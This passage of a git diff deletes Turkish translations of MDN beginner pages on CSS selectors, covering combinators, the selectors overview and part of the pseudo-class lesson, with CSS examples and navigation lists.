kullanır ve bu nedenle tümüyle eşleşir.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Belge dilinin büyük/küçük harfe duyarlı olmadığı durumlarda, büyük/küçük harfe duyarlı eşlemeyi zoralayacak yeni bir değer daha vardır(<code>s</code>). Ancak bu, tarayıclarda daha az desteklenir ve HTML gereksinimlerinden dolayı kullanışlı değildir.</p> -</div> - -<h2 id="Sonraki_adımlar">Sonraki adımlar</h2> - -<p>Artık nitelik seçicilerle işimiz bitti, bir sonraki dersimize devam edebiliriz ve <a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">sözde sınıf ve sözde öğe seçiciler</a> hakkında bilgi edinebilirsin.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/selectors/combinators/index.html b/files/tr/learn/css/building_blocks/selectors/combinators/index.html deleted file mode 100644 index 5141688e8e..0000000000 --- a/files/tr/learn/css/building_blocks/selectors/combinators/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Birleştiriciler -slug: Learn/CSS/Building_blocks/Selectors/Combinators -tags: - - Birleştiriciler - - CSS - - Selectors - - combinators - - seçiciler -translation_of: Learn/CSS/Building_blocks/Selectors/Combinators ---- -<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p> - -<p>İşleyeceğimiz son seçiciler birleştiricilerdir; birleştiriciler diğer seçicileri, birbirleriyle ve belgedeki içeriğin konumu ile yararlı bir ilişki sağlaycak şekilde birleştirirler.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS'de kullanılabilecek farklı birleştirici seçiciler hakkında bilgi edinmek.</td> - </tr> - </tbody> -</table> - -<h2 id="Soytorun_birleştirici">Soy(torun) birleştirici</h2> - -<p><strong>Soy birleştiricisi</strong> — tipik olarak tek bir boşluk (<code> </code>) karakterinden oluşur — <dfn>en az iki seçiciden oluşan (ata, eşleşen n. soy, n. eşleşenin soyundan gelen n+1. eşleşen soy). Birinci seçicinin eşleştiği öğenin soyunda ikinci seçicinin eşleştiği öğe ile eşleşir. torunt seçici hiyararşide kaçıncı basamakta olduğu önemli değildir. Bir alt öğede olabir, 2., 3., 4. veya daha alt seviyelerdeki bir öğede olabir.</dfn> Örneğin; aşağıda <code>body</code>'nin soyundan gelen <code>article</code>'nin soyundaki <code>p</code> ile eşleşirlir. <code>article</code> <code>body</code>'nin 50. torunu olabilir, <code>p</code>'de <code>article</code>'nin 15. torunu olabilir burada dikkat edilecek durum <code>p</code> ile <code>body</code> arasında herhengi bir yerde <code>article</code>'nin olması gerekmektedir. Tabiki buradaki kavram yazacağın kurala göre değişecektir.</p> - -<pre class="brush: css notranslate">body article p -</pre> - -<p>Aşağıdaki örnekte, sadece <code>.box</code> sınıfının içindeki <code><p></code> öğesini eşleştiriyoruz.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}</p> - -<h2 id="Çocuk_birleştirici">Çocuk birleştirici</h2> - -<p><strong>Çocuk birleştirici</strong>, iki seçici arasına yerleştirilen büyüktür işaretidir (<strong><code>></code></strong>). Yalnızça birinci seçiciyle eşleşen öğelerin doğrudan alt öğeleri içinde bulunan, ikinci seçiciyle eşleşen öğelerle eşleşir. Hiyerarşinin sonraki alt öğeleriyle bir eşleştirme gerçekleştirmez. Örneğin, <code><article></code> öğesinin doğrudan bir alt öğesi olan <code><p></code> öğesiyle eşleşen bir kural yazmak istersek:</p> - -<pre class="brush: css notranslate">article > p</pre> - -<p>Bir sonraki örnekte, içinde sıralı bir liste bulunan sırasız bir liste var. Sadece <code><ul></code> öğe seçicimin doğrudan bir alt öğesi olan <code><li></code> öğesiyle eşleşen bir kural yazıp. Onlara üst sınır çizgisi tanımladım.</p> - -<p>Buradaki <code><li></code> seçicinin çocuk olduğunu belirten <code>></code> işaretini kaldırırsan, bir soy seçiciyle karşılaşırsın ve tüm öğeler kırmızı bir üst kenarlık alır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/child.html", '100%', 600)}}</p> - -<h2 id="Bitişik_kardeş_birleştirici">Bitişik kardeş birleştirici</h2> - -<p>Bitişik kardeş seçici (<code>+</code>), hiyararşinin aynı seviyesindeki başka bir öğenin hemen yanındaki öğeyi seçmek için kullanılır. Örneğin, <code><p></code> öğesinden sonra gelen <code><img</code><code>></code> öğesini seçmek için:</p> - -<pre class="brush: css notranslate">p + img</pre> - -<p>Yaygın bir kullanım örneği, aşağıda olduğu gibi, bir başlığı takip eden paragrafa bir şeyler yapmaktır. Burada doğrudan bir <code><h1></code> bitişiğinde olan bir paragraf arıyoruz ve onu şekillendirmek istiyoruz.</p> - -<p>Eğer <code><h1></code> ve <code><p></code> arasına <code><h2></code> gibi başka bir seçici eklersen, paragrafın artık şekillenmediğini göreceksin.</p> - -<p> {{EmbedGHLiveSample("css-examples/learn/selectors/adjacent.html", '100%', 800)}}</p> - -<h2 id="Genel_kardeş_birleştirici">Genel kardeş birleştirici</h2> - -<p>Doğrudan bitişik olmasalar bile bir öğenin kardeşlerini seçmek istiyorsan, genel kardeş birleştiriciyi (<code>~</code>) kullanabilirsin. <code><p></code> öğesinden sonra gelen tüm <code><img></code> öğelerini seçmek için şunu yapardık.</p> - -<pre class="brush: css notranslate">p ~ img</pre> - -<p>Aşağıdaki örnekte, <code><h1></code> öğesinden sonra gelen <code><p></code>'yi seçip, daha sonra gelen <code><div></code>'i atlıyoruz ve bir sonra ki <code><p></code> öğesinide seçiyoruz.</p> - -<div class="blockIndicator note"> -<p>Not: Genel kardeş seçici kendinden sonra gelen aynı hiyararşideki kardeşleriyle eşleşir. Kendinden önce gelen kardeşleriyle bir eşleşme sağlamaz.</p> -</div> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}</p> - -<h2 id="Birleştiricileri_kullanma">Birleştiricileri kullanma</h2> - -<p>Belgenin bir bölümünü seçmek için önceki derslerde keşfettiğin seçicilerden herhangi birini birleştiricilerle birleştirebilirsin. Örneğin, <code><ul></code> doğrudan çocukları ve "a" sınıfına sahip liste öğelerini seçmek istesem, aşağıdaki kodu kullanabilirim.</p> - -<pre class="brush: css notranslate">ul > li[class="a"] { }</pre> - -<p>ancak, belgenin çok özel bölümlerini seçen büyük seçici listeleri oluştururken dikkatli olun. Seçiciyi biçimlendirmedeki öğenin konumuna özelleştirdiğin için CSS kurallarını farkılı bir yerde kullanman zor olacaktır.</p> - -<p>Basit bir sınıf oluşturmak ve bunu söz konusu öğeye uygulamak genellikle daha iyidir. Bununla birlikte, belgendeki bir şeye ulaşman gerekiyorsa ve bir CMS tarafından oluşturulmuş olması hasebiyle HTML'ye erişemiyorsan, birleştiriciler hakkındaki bilgin çok yararlı olacaktır.</p> - -<h2 id="Beçerilerini_test_et!">Beçerilerini test et!</h2> - -<p>Bu derste bir çok konuyu ele aldık, ancak en önemli bilgileri hatırlıyor musun? Devam etmeden önce bu bilgileri öğrendiğini doğrulamak için bazı ek testlere bakmak isteyebilirsin — <a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Selectors_Tasks">Becerilerini test et: Seçiciler</a>.</p> - -<h2 id="Sıradaki">Sıradaki</h2> - -<p>Bu, seçicilerle ilgili derslerimizin son bölümüdür. Bir sonraki derste CSS'in başka bir önemli kısmına geçeceğiz — <a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">CSS Kutu Modeli</a>.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/selectors/index.html b/files/tr/learn/css/building_blocks/selectors/index.html deleted file mode 100644 index d78c248dbf..0000000000 --- a/files/tr/learn/css/building_blocks/selectors/index.html +++ /dev/null @@ -1,238 +0,0 @@ ---- -title: CSS seçicileri -slug: Learn/CSS/Building_blocks/Selectors -tags: - - Acemi - - Attribute - - Beginner - - CSS - - Class - - Eğitim - - Learn - - Nitelik - - Pseudo - - Selectors - - Sozde - - id - - seçiciler - - sınıf -translation_of: Learn/CSS/Building_blocks/Selectors ---- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</div> - -<p>{{Glossary("CSS")}}, seçicileri {{glossary("HTML")}} belgeleri içerisindeki web sayfamızı oluşturan öğeleri hedeflemek için kullanılır. Biçimlendirilecek öğeleri seçerken ince hassasiyete sahip çok çeşitli CSS seçicileri mevcuttur. Bu derste ve alt derslerde, bunların nasıl çalıştırklarını görecek ve farklı türlerini ayrıntılı olacak iceleyeceğiz.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS seçicilerin nasıl çalıştığını ayrıntılı olarak öğrenmek</td> - </tr> - </tbody> -</table> - -<h2 id="Seçici_nedir">Seçici nedir?</h2> - -<p>Şimdiye kadar bir çoğuyla tanıştın. Bir CSS seçici, bir CSS kuralının ilk kısmıdır. Bu, tarayıcıya kural içindeki CSS bildirimlerinin uygulanabilmesi için hangi HTML öğesinin seçilmesi gerektiğini söyleyen ve diğer terimlerden oluşan bir kalıptır. Seçici tarafından seçilen öğe veya öğeler, seçicinin <em>konusu</em> olarak anılır.</p> - -<p><img alt="Some code with the h1 highlighted." src="https://mdn.mozillademos.org/files/16550/selector.png" style="border: 1px solid #cccccc; height: 218px; width: 471px;"></p> - -<p>Daha önceki makalelerde, bazı farklı seçicilerle tanıştın ve belgeyi farklı şekillerde hedefleyen seçiciler olduğunu öğrendin — örn. bir <code>h1</code> birinci dereceden başlıkları seçen seçiciyle <code>.special</code> gibi bir sınıf seçici.</p> - -<p>CSS'de seçiciler CSS seçicileri standardizasyonunda tanımlanır ve çalışabilmeleri için CSS'in diğer parçaları gibi tarayıcılarda desteğe sahip olmaları gerekir. karşılaşacağın seçicilerin çoğu, olgun bir özellik olan <a href="https://www.w3.org/TR/selectors-3/">Seviye 3 Seçiciler standardizasyonunda</a> tanımlanmıştır. Bu nedenle bu seçiciler için mükemmel tarayıcı desteği bulacaksın.</p> - -<h2 id="Seçici_listeleri">Seçici listeleri</h2> - -<p>Aynı CSS'i kullanan birden fazla öğenin bulunduğu durumlarda, her öğe için ayrı ayrı seçicilerle kural oluşturmaktansa, kuralın tüm öğelere uygulanması için kuralı <em>seçici listelerinde</em> birleştirebiliriz. Örn.i hem <code>h1</code> hemde <code>.special</code> sınıfı için aynı CSS'e kullanacaksam, bunu iki ayrı kural olarak yazabilirim.</p> - -<pre class="brush: css notranslate"><code>h1 { - color: blue; -} - -.special { - color: blue; -} </code></pre> - -<p>Ayrıca seçici etiketlerinin arasına virgül ekleyerek bunları bir seçim listesinde birleştirebilirim.</p> - -<pre class="brush: css notranslate"><code>h1, .special { - color: blue; -} </code></pre> - -<p>Beyaz boşluk virgülden önce veya sonra geçerlidir. Ayrıca, her biri yeni bir satırdaysa, seçicileri daha okunabilir bulabilirsin.</p> - -<pre class="brush: css notranslate"><code>h1, -.special { - color: blue; -} </code></pre> - -<p>Aşağıdaki etkileşimli örnekte, aynı bildirimlere sahip iki seçiciyi birleştirmeyi dene. Görsel sunum birleştirilden sonra aynı olmalıdır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} </p> - -<p>Seçicileri bu şekilde grupladığında, herhangi bir seçici geçersizse, kuralın tamamı yok sayılacaktır.</p> - -<p>Aşağıdaki örnekte, geçersiz sınıf seçici kuralı yok sayılacak, oysa <code>h1</code> öğesine stil uygulanmaya devam edecektir.</p> - -<pre class="brush: css notranslate"><code>h1 { - color: blue; -} - -..special { - color: blue; -} </code></pre> - -<p>Ancak birleştirildiğinde, geçersiz sınıf bildiriminden dolayı kuralım tümü geçersiz sayılacaktır.</p> - -<pre class="brush: css notranslate"><code>h1, ..special { - color: blue; -} </code></pre> - -<h2 id="Seçici_türleri">Seçici türleri</h2> - -<p>Birkaç farklı seçici grubu vardır ve hangi tür seçiciye itiyacın olduğunu bilmek, çalışman için doğru aracı bulmana yardımcı olacaktır. Bu dersimizin alt derslerinde, farklı seçici gruplarına daha ayrıntılı olarak bakacağız.</p> - -<h3 id="Tür_sınıf_ve_kimlik_seçicileri">Tür, sınıf ve kimlik seçicileri</h3> - -<p>Bu grup, HTML öğesini hedefleyen seçicileri <code><h1></code>.</p> - -<pre class="brush: css notranslate">h1 { }</pre> - -<p>Sınıfı hedefleyen seçicileri:</p> - -<pre class="brush: css notranslate">.box { }</pre> - -<p>ve bir kimliği hedefleyen seçicileri içerir:</p> - -<pre class="brush: css notranslate">#unique { }</pre> - -<h3 id="nitelik_seçicileri">nitelik seçicileri</h3> - -<p>Bu grup, bir öğedeki belirli bir özelliğin varlığına bağlı olarak öğeleri seçmen için sana farklı yollar sunar:</p> - -<pre class="brush: css notranslate">a[title] { }</pre> - -<p>Veya belirli bir değere sahip bir niteliğin varlığına göre bir seçim yapar:</p> - -<pre class="brush: css notranslate">a[href="https://example.com"] { }</pre> - -<h3 id="Sözde_sınıf_ve_sözde_öğeler">Sözde sınıf ve sözde öğeler</h3> - -<p>Bu grub, bir öğenin belirli durumlarını biçimlendiren sözde sınıfları içeri. Örn., <code>:hover</code> sözde sınıfı fare işaretçisiyle üzerine gelinmiş bir bağlantıyı seçer.</p> - -<pre class="brush: css notranslate">a:hover { }</pre> - -<p>Ayrıca, öğenin kendisi yerine bir öğenin belili bir bölümünü seçen sözde öğeleri de içerir. Örn., <code>::first-line</code> her zaman bir öğenin (<code><p></code> aşağıdaki durumda) içindeki ilk metin satırını seçer, sanki <code><span></code> öğesiyle etrafına sarılmış ve sonra seçilmiş gibi davranır.</p> - -<pre class="brush: css notranslate">p::first-line { }</pre> - -<h3 id="Birleştiriciler">Birleştiriciler</h3> - -<p>Son seçici gurubu, belgelerimizdeki öğeleri hedeflemek için diğer seçicileri birleştirir. Örn., aşağıda<code><article></code> öğesini alt birleştirici (<code>></code>) kullanarak öğenin doğrudan çocukları olan paragrafları seçer:</p> - -<pre class="brush: css notranslate">article > p { }</pre> - -<h2 id="Sıradaki">Sıradaki</h2> - -<p>Bundan sonra MDN'deki çeşitli seçici türlerine doğrudan bağlantılar için aşağıdaki referans tablosuna bakabilir veya Eğitim bölümümüzdeki <a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">tür, sınıf ve kimlik seçicileri</a> sayfasına geçerek yolculuğuna başlayabilirsin.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Seçiciler_referans_tablosu">Seçiciler referans tablosu</h2> - -<p>Aşağıdaki tablo, her bir seçici türünü nasıl kullanacağını gösteren kılavuz sayflarına bağlantılar ve kullanabileceğin seçicilere genel bir bakış sunar. Ayrıca, tarayıcı destek bilgilerini kontrol edebileceğin her seçici için MDN sayfasına bi bağlantı ekledim. Bunu, çalışmanda veya CSS ile denemeler yaparken bakabileceğin bir referans olarak kullanabilirsin.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Seçici</th> - <th scope="col">Örnek</th> - <th scope="col">CSS Eğitim sayfası</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="/en-US/docs/Web/CSS/Type_selectors">Tür seçici</a></td> - <td><code>h1 { }</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#Type_selectors">Tür seçiciler</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/Universal_selectors">Evrensel seçici</a></td> - <td><code>* { }</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#The_universal_selector">Evrensel seçici</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/Class_selectors">Sınıf Seçici</a></td> - <td><code>.box { }</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#Class_selectors">Sınıf Seçici</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/ID_selectors">Kimlik seçici</a></td> - <td><code>#unique { }</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#ID_Selectors">Kimlik seçiciler</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/Attribute_selectors">Nitelik seçici</a></td> - <td><code>a[title] { }</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/Pseudo-classes">Sözde sınıf seçiciler</a></td> - <td><code>p:first-child { }</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-class">Sözde sınıflar</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/Pseudo-elements">Sözde öğe seçiciler</a></td> - <td><code>p::first-line { }</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-element">Sözde sınıflar</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/Descendant_combinator">Torun birleştiricil</a></td> - <td><code>article p</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators#Descendant_Selector">Torun birleştirici</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/Child_combinator">Çocuk birleştirici</a></td> - <td><code>article > p</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators#Child_combinator">Çocuk birleştirici</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/Adjacent_sibling_combinator">Bitişik kardeş birleştirici</a></td> - <td><code>h1 + p</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators#Adjacent_sibling">Bitişik kardeş</a></td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/CSS/General_sibling_combinator">Genel Kardeş birleştirici</a></td> - <td><code>h1 ~ p</code></td> - <td><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators#General_sibling">Genel kardeş</a></td> - </tr> - </tbody> -</table> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html b/files/tr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html deleted file mode 100644 index 5b2ecb8a1f..0000000000 --- a/files/tr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html +++ /dev/null @@ -1,414 +0,0 @@ ---- -title: Sözde sınıflar ve sözde öğeler -slug: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements -tags: - - Başlangıç - - Beginner - - CSS - - Eğitim - - Learn - - Pseudo - - Pseudo-class - - Pseudo-element - - Selectors - - Sozde Ogeler - - Sozde sınıflar - - seçiciler -translation_of: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements ---- -<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p> - -<p>Bakacağımız bir sonraki seçici kümesi, <strong>sözde sınıflar</strong> ve <strong>sözde öğeler</strong> olarak adlandıracağız. Bunların sayıları oldukça fazladır ve genellikle özel amaçlara hizmet ederler. Bunları nasıl kullanacağını öğrendikten sonra, yapmaya çalıştığın bir görev için işe yarar bir şey olup olmadığını görmek için listeye göz atabilirsin. MDN referans sayfaları, her seçici için tarayıcı desteğini açıklamada her zamanki gibi yardımcı olur.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Sözde sınıf ve sözde öğe seçicileri hakkında bilgi edinmek.</td> - </tr> - </tbody> -</table> - -<h2 id="Sözde_sınıf_nedir">Sözde sınıf nedir?</h2> - -<p>Sözde sınıf, belirli bir durumda olan öğeleri seçen bir seçicidir. Örneğin, türlerinin ilk öğeleridirler veya fare imleci üzerlerine getirilmiştir. Belgenin bir kısmına bir sınıf uygulamış gibi davranma eğilimindediler, genellikle kurallardaki fazla sınıfları azaltmana yardımcı olur ve daha esnek, bakımı kolay bir kod sağlarlar.</p> - -<p>Sözde sınıflar, iki nokta üst üste ile başlayan anahtar kelimelerdir:</p> - -<pre class="notranslate">:<em>pseudo-class-name</em></pre> - -<h3 id="Basit_sözde_sınıf_örneği">Basit sözde sınıf örneği</h3> - -<p>Basit bir örneğe bakalım. Bir makaledeki ilk paragrafı daha büyük ve kalın yapmak istersek, bu paragrafa bir sınıf ekleyebilir ve ardından aşağıdaki ilk örnekte olduğu gibi bu sınıfa CSS uygulayabilirim:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child.html", '100%', 800)}}</p> - -<p>Bunu sürdürmek gerçekten can sıkıcı olabilir — ya belgenin üstüne yeni bir paragraf eklenirse? Sınıfı yeni paragrafa taşımam gerekir. Sınıfı eklemek yerine {{cssxref(":first-child")}} sözde sınıfını kullanabilirim — bu her zaman belgedeki ilk alt öğeyi hedefleyecek ve artık HTML'yi düzenlememe gerek kalmayacaktır.</p> - 